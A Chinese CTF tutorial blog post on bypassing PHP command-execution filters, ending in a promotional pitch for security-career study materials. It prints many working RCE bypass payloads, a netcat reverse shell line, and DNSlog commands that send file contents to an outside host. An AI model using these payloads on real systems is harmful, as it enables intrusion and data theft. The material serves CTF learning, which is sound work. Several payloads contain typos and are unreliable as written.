概念
RCE(Remote code execution)远程代码执行漏洞,RCE又分命令执行和代码执行。
- RCE-远程代码执行:远程执行PHP代码
- RCE-远程命令执行:远程执行Linux或者Windows等系统命令。
常见函数有:
- PHP:eval(),assert(),preg_replace(),call_user_func(),call_user_func_array()以及array_map(),system, shell_exec, popen, passthru, proc_open等。
- Python:eval,exec,subprocess os.system commands.
- Java:Java里面没有类似于php中的eval函数可以直接将字符串转化为代码执行的函数。但是又反射机制,并且有各种基于反射机制的表达式引擎。ps:OGNL, SpEL, MVEL
绕过姿势
*号绕过(ノ*・ω・)ノ
这个理解起来其实很简单,这个指令放到Linux里面是这样的
在Linux中,*是一个通配符,代表当前目录下的所有隐藏目录和隐藏文件夹。
我们利用这一点可以绕过CTF中的一些函数。
ps:
<?php
$c = $_GET['c'];
if(!preg_match("/flag/i",$c)) //这里的i是大小写的意思
{
eval($c);
}
?>
我们看上面的if函数里面写的东西,他是禁止出现flag这个字符串,所以我们可以直接使用*来进行绕过。但是这里我们不仅可以使用cat fla*.php也可以使用tac命令来输出这个fla*.php,命令为tac fla*php.
取代函数 (ノ*・ω・)ノ
这个方法挺好用的,我们可以看一段具体的php判断代码。
<?php
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i",$c))
{
eval($c);
}
?>
上文我们的system与php都被禁止了,这里我们可以看到上面的PHP执行命令函数。
我们可以使用里面的shell_exec函数,但是我们要注意,shell_exec函数需要我们把结果输出出来。那我们就可以这样构造payload的了
url?c=echo shell_exec('tac/cat fla*);
参数逃逸(ノ*・ω・)ノ
我们看到这个姿势,也是通过一个php判断代码
<?php
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |/i",$c)) //这里还过滤的.和空格
{
eval($c);
}
?>
我们对参数逃逸进行理解
因为是rce漏洞,所以我们可以使用代码在构造一些新的参数,比如说我们构造一个新的参数,那我们在url中可以先这样写。
url?c=eval($_GET['a']);
这样相当于构造了一个新的参数a,然后页面代码又没有对a参数进行限制,所以我们后面可以直接用a参数来进行对flag.php的读取。
url?c=eval($_GET['a']);&a=cat flag.php;
这就是我们所说的参数逃逸。
管道符绕(ノ*・ω・)ノ
管道符这里我们分为两个系统的:
windows
- |:直接执行后面语句
- ||:前面执行失败,则执行后面
- &:两个都执行,如果前面的命令为假,则直接执行后面
- &&如果前面的语句为假则直接出错,也不执行后面,前面为真,则都执行。
Linux
- |:显示后面语句的结果
- ||:当前面直接出错,执行后面的语句
- &:两个都执行,同win
- &&:前面出错,则不执行后面,两个都为true才都执行,前面只能为true。
- `:在将括号内的命令处理完毕之后,会将返回的信息传给bash,再次执行。
- ;:执行完前面执行后面。
包含漏洞+伪协议 (ノ*・ω・)ノ
这个绕过需要用到我们之前讲到的参数逃逸的思想,我们通过一个例子来看。
<?php
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;(/i",$c)) //这里我们国立了',`和;号。
{
eval($c);
}
?>
我们可以看到echo,;和我们之前用的反引号都被过滤掉了,那么既然分号与反引号都被注释掉了,我们就可以使用文件包含的思路。
url?c=include$_GET[a]?>
我们使用?>来将这个php语句进行完成,然后我们后面跟上php的伪协议。这样我们的payload就变成了。
payload:url?c=include$_GET[a]?>&a=data://text/plain,<?tac fla*?>
这里我们使用data协议是因为,用户的输入会被当做php文件来执行,这样一来就达到了我们绕过的思路。
但是我们也可以使用其他的协议。
1.url?c=include[a]?>&a=php;//filter/read=convert.base64-encode/resource=flag.php
2.url?c=include$_GETa]?>&a=php://input post:<?php system('tac flag.php');?>
关键字绕过(总体)(ノ*・ω・)ノ
这里包含了很多中不同的绕过方式,但是都是属于关键字绕过这个大板块的。
空格绕过
在Linux中,空格可以替换为以下几种:
<<>${IFS}$IFS%20(space)%09(tab)$IFS$9$IFS$1等等
cat<flag.php
cat<>flag.php
cat$IFSflag.php
cat${IFS}flag.php
cat%20flag.php
cat%09flag.php
cat$IFS$1flag.php
这里主要是代码审计,看看那些是没有被过滤的,灵活运用。
转义绕过
我们可以使用反斜杠进行转义
ps:
cat flag ---> ca\t fl\ag
cat flag ---> ca"t flag
cat flag ---> ca't flag
这个就不多说了。
特殊变量绕过
我们可以使用Linux中的一些特殊变量进行绕过
ps:
$* $@ $x ${X} //这里的x代表任意值
ca$*t flag.php
ca$@t flag.php
ca$xt flag.php
ca${X}t flag.php
这些都是shell的特殊变量,也是可以用来绕过的,这种类型可以用在过滤了cat这种命令或者其他关键字符串上面使用。
RE绕过
这个也就是我们最开始的fla*.php。没什么好讲的。
其实这个应该也可以叫做正则表达式绕过。但是我想说,这里还有一个骚操作
比如说我们一下这个实列:
shell --> ls
-> flag
shell --> cat ?la*
->flag{ABsec}
Base64编码绕过
这个可以用在一些命令被过滤的情况下使用,比如说我们的ls命令被过滤了,那我们可以将ls这个命令编码
echo 'ls' | base64
->bHMK
`echo 'bHMK' | base64 -d
-> flag.ph test.php ......
拼接法
这个的大概思路为,用两个参数来保存flag这个字符串的每个部分。大致如下
a=fl;b=ag;cat$IFS$a$b;
类似于这种。
过滤命令执行函数(ノ*・ω・)ノ
内敛绕过
这个其实很简单,就是将反引号内的命令的输出作为输入执行。
payload:url?c=127.0.0.1;cat$IFS$!`ls`
会抓取ls返回的所有文件内容。
内敛绕过还有其他的写法,比如下面:
echo $(ls);
?><?=`ls1;
?><?=$(ls);
使用其他函数
还记得我们前面讲的取代函数吗?和这个的思路一样,如果我们的执行命令函数被过滤的花花,我们就需要更换函数了
我们除了shell_exec()还可以用以下几种
system()
passthru()
exec()
popen()
proc_open()
pcntl_exec()
highlight_file()
读取文件
这里我们这样玩,我们除了cat可以显示文本内容以外,在CTF中我们还可以使用一下几个姿势
curl file:///flag
strings flag
uniq -c flag
bash -v flag
rev flag
tac flag
//如果说我们遇到ls被过滤的话,我们也可以使用find
find
-?> . ./flag
字符串长度限制(ノ*・ω・)ノ
这个挺有意思的,在CTF中,题目可能会限制你输入的长度,如果说我们要绕过他的话,我们可以只用上文中的一些思想,我们直接看payload
cat flag
-> flag{ABsec}
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t
->ca\ , t \ , fl\ , ag , shell , flag
ls -t > shell
sh shell
->flag{ABsec}
首先是里面的一些命令
- 空格\ : 这个其实是换行。
- ls -t :按照时间将文本排序输出
- ls -t > shell:将ls -t的输出储存到shell文件中
我们首先是用touch命令创建了几个文件,但是他们的文件名是我们的主要。我们使用两个\\的原因在于,第一个\用于将后面的\变成字符串,第二个\是用来将后面的文本转换为字符串,以便用于后面的测试。
这样我们shell里面的样子应该是这样的:
cat shell
->cat
flag
因为\就是用来换行的,不然他们连在一起也无法被解析。
$PATH (ノ*・ω・)ノ
这个是利用环境变量来达到截取字母绕过的目的。
这里我们可以举一个例子:
echo $PATH
/opt/jdk-21/bin //假如是这样的
echo ${PATH:2:1}
->p
echo ${PATH:3:1}
->t
echo ${PATH:3:2}
->t/
Linux中${PATH:a:b}我们可以理解为从a位开始截取,截取b个长度(/也算一位)
那我们对应这来的话就是这样的
/ o p t / j d k - 2 1 / b i n
0 1 2 3 4 5 6 7 8 9 10 11 12 13
比如说我们echo ${PATH:3:2}
那就表示,我们从t开始,往后截取两位数
输出: t/
但是这样可能也会出现一些没有的字母,但是我们需要那个字母的情况,这个时候我们可以自己取构造一个PATH。
export PATH=$PATH:/abcdefghijklmn/opq/rst/uvw/xyz/0123456789
我们直接将全部的字母和数字都放到环境变量中,需要的时候我们就用上面的那个方法进行构造payload。
无回显RCE
无回显顾名思义没有回显的远程代码执行漏洞,那对于这种情况我们可以这样思考
sleep函数测试
我们在无回显rce中可以使用sleep函数测试一下页面的回响,比如说我们这样写
url?c=ls;sleep 3
http请求dns请求
CEYE - Monitor service for security testing
如果说我们在进行sleep测试的时候确实停了3秒,那么我们可以进行一下的一些思路。
shell获取权限拿flag
更具上面的sleep测试,首先页面无回显,那么我们就不能单纯的在进行我们上面的rce的bypass了,我们可以使用写shell的方式,但是这个shell可以是我们直接写的(echo shell>xxxx.sh)也可以是我们下载的(wget)。
我们手写的话就是这样走:
url?c=nc -e /bin/sh ip port
然后我们本地在使用nc进行监听。
这样是一种拿到flag的一种思路。
DNSlog
dnslog主要争对无回显的情况
- Sqi-Blind
- RCE
- SSRF
- RFI(Remote File inclusion)
但是我们这里只谈RCE的使用。
首先我们介绍一什么是dnslog。
原理
DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。所以这里跟最初的猜想基本一致,原理也就是通过DNS请求后,通过读取日志来获取我们的请求信息。
我们用一个例子来理解这个东西:
c:\>ping %USERNAME%.ABsec.com
ping 请求找不到主机 example.ABsec.como. ......
我们可以看到我们这个ping的命令将example.ABsec.com一起发给了DNS服务器请求解析域名对应的ip地址,这个过程被记录下来就是DNSlog。也就是说,只要可以进行DNS请求,就有可能存在DNSlog注入。
DNSlog常规的Linux的注入是这个样子的payload
curl http://ip.port.exp.ceye.io/`whoami` //这里的exp.ceye.io就是我们identifier,这里的ip与port均为靶机的ip与port。命令而已自己尝试这换。
ping `whoami`.ip.port.exp.ceye.io
举例
我们拿NSSCTF里面的一道题目举例子
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
}
else{
die("i hate this");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
我们看到上面代码,进行代码审计
首先是过滤了;,&,$,x09,x26等关键字,而且还过滤的ping。
在url上面传入一个cmd参数。
再往下看,发现了shell_exec,那么基本可以判定是无回显RCE了。
那我们就可以试试使用DNSlog来进行渗透了。
我们需要用到下面的identifier,这个就是我们后面需要跟的那个域名。
那我们的payload这样写就可以了
payload:url?cmd=curl `cat /fla*`.域名
我们这样写,然后运行,回到我们的ceye中查看flag。
题外话
初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:
- 2023届全国高校毕业生预计达到1158万人,就业形势严峻;
- 国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。
一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。
6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。
2022届大学毕业生月收入较高的前10个专业
本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。
具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。
网络安全行业特点
1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!
2、人才缺口大,就业机会多
2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取